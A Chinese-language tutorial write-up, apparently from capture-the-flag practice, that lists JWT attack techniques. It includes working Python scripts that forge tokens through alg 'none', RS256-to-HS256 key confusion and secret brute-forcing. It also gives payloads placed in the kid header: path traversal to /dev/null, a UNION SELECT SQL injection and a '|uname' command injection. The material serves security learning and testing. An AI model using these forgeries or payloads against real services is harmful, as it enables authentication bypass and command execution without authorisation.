场景总结
首先要明白，一个jwt是由三部分组成的：header，payload，signature。三个部分用 . 连接，用base64编码且格式要求去掉末尾的 =
其他额外需要知道的，例如header下有时会有叫 kid 的parameter，这个是key identifier的缩写，可被某些库用（如果没有妥善地处理，可以导致SQLi，Dir traversel … 还有rce)。本文用到的例子里有写.
能够破解的方式总结的话有以下场景
不检查signature - 直接修改payload便好
加密可取消
加密方式可爆破
从公钥pem文件泄漏场景到RSA256转为HS256方式绕过签名
利用kid读取文件实现伪造身份
利用kid实现SQL注入
利用kid实现rce（CVE-2017-17405）
备注：
出现的python脚本都仅供参考，都是刷题时临时写的，没有实现完全自动化。
刷题遇到的坑和失败尝试这里就不写出来了，推荐最好还是找类似的实战场景去练习一下，才能更清楚jwt相关漏洞的具体利用思路和过程。
部分不举例，例如直接修改payload
加密可取消
直接将header下的alg改为none，例如：
{
"alg": "none",
"typ": "JWS"
}然后对header单独进行base64编码（注意去掉末尾的=）
我在刷题的时候，遇到了小写的 none 不成功的情况，改成大写的 None 就可以了。（但是后续看官方题解，好像小写的也可以，目前为止这块不是特别清楚。）
公钥泄漏
直接用python下的hmac&hashlib库，对header和body进行新的签名，参考我刷题时写的代码
import base64
import hmac
import hashlib
with open('public.pem','rb') as f:
public_key = f.read()
print(public_key)
msg = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9Cg.eyJsb2dpbiI6ImFkbWluIn0K'.encode('utf-8')
sig = base64.urlsafe_b64encode(hmac.new(public_key,msg,hashlib.sha256).digest()).decode('utf-8').rstrip('=')
# sig = base64.urlsafe_b64encode(hmac.new(bytes(public_key, encoding='utf-8'),msg,hashlib.sha256).digest()).decode('utf-8').rstrip('=')
print(type(msg))
print(msg.decode('utf-8') + '.' + sig)加密方式可爆破
两种方法，一种用hashcat或者自己写脚本，以下是我写的python脚本
import base64
import hmac
import hashlib
import json
jwt = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM'
def change_payload(jwt):
payload = jwt.split('.')[1]
orgin_p = json.loads(base64.b64decode(payload+'==').decode('utf-8'))
orgin_p['user']='admin'
changed_p = base64.b64encode(json.dumps(orgin_p).rstrip('=').encode('utf-8'))
return changed_p
def brute_sig(key,object):
new_sign = hmac.new(key, object, hashlib.sha256).digest()
return base64.urlsafe_b64encode(new_sign).decode('utf-8').rstrip('=')
header = jwt.split('.')[0]
payload = change_payload(jwt)
origin_sign = jwt.split('.')[-1]
brute_keys = ['hacker','jwt','insecurity','your-key','hacking'] #or read from file
for try_key in brute_keys:
target = ".".join(jwt.split('.')[:-1])
key = try_key.encode('utf-8')
if brute_sig(key, target.encode('utf-8')) == origin_sign:
print('[*]Brute sucess,the key is {}'.format(try_key))
new_target = "{}.{}".format(header.rstrip('='),payload.decode('utf-8').rstrip('='))
jwt = new_target + '.' + brute_sig(key, new_target.encode('utf-8')).rstrip('=')
print('[*]new jwt is: {}'.format(jwt))从RSA256转为HS256方式绕过签名
关于该绕过最初的讨论https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/.
基于RSA256的加密的机制是非对称性的，它依赖于公钥去验证有效性，但是生成新的签名则需要私钥。而HMAC则在Sign和Verify上，使用的同一secret
在保证可以换加密方式的前提下（基于场景判断），例如，verfy签名时，调用方法verify(public_key, data) ，如果换成HMAC时，校验签名有效性时，使用的是同一scret，这就导致，我们使用HMAC 签名的token可以保证通过verify。
我的python脚本
import base64
import hmac
import hashlib
with open('public.pem','rb') as f:
public_key = f.read()
print(public_key)
msg = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9Cg.eyJsb2dpbiI6ImFkbWluIn0K'.encode('utf-8')
sig = base64.urlsafe_b64encode(hmac.new(public_key,msg,hashlib.sha256).digest()).decode('utf-8').rstrip('=')
print(type(msg))
print(msg.decode('utf-8') + '.' + sig)利用kid读取文件实现伪造身份
可以利用kid进行新的有效签名
提取header部分，将kid换成
../../../../../../../../../dev/null此时secret换成空
进行sha256加密
参考脚本如下
import hmac
import base64
import hashlib
changed_data = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJ1c2VyIjoiYWRtaW4ifQ"
secret = "".encode('utf-8')
new_sign = hmac.new(secret,changed_data.encode('utf-8'),hashlib.sha256).digest()
new_sign = base64.urlsafe_b64encode(new_sign).decode('utf-8').rstrip('=')
print(changed_data + '.' + new_sign)利用kid实现sql注入
原理是一样的，将kid使用
random-string ' UNION SELECT 'secret然后生成签名时，使用secret 来生成。原理其实是和读取文件伪造身份是一样的。脚本也可以参考刚那个脚本
利用kid实现rce
例如CVE-2017-17405，是 Ruby library Net::FTP下的一个漏洞，会读取header下的kid的key-value，并且该过程发生在校验签名前。所以无需有效签名，即可实现任意文件读取&任意命令执行
关键函数调用有：
File.open(....)open(....)直接jwt.io解jwt，然后把header部分增加kid和对应的执行命令，例如：
{
"typ": "JWT",
"alg": "HS256",
"kid": "|uname"
}则会立刻执行对应命令
Reference
Pentesterlab 「推荐」 建议若能赶上黑五尾巴赶紧入一个pro
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/.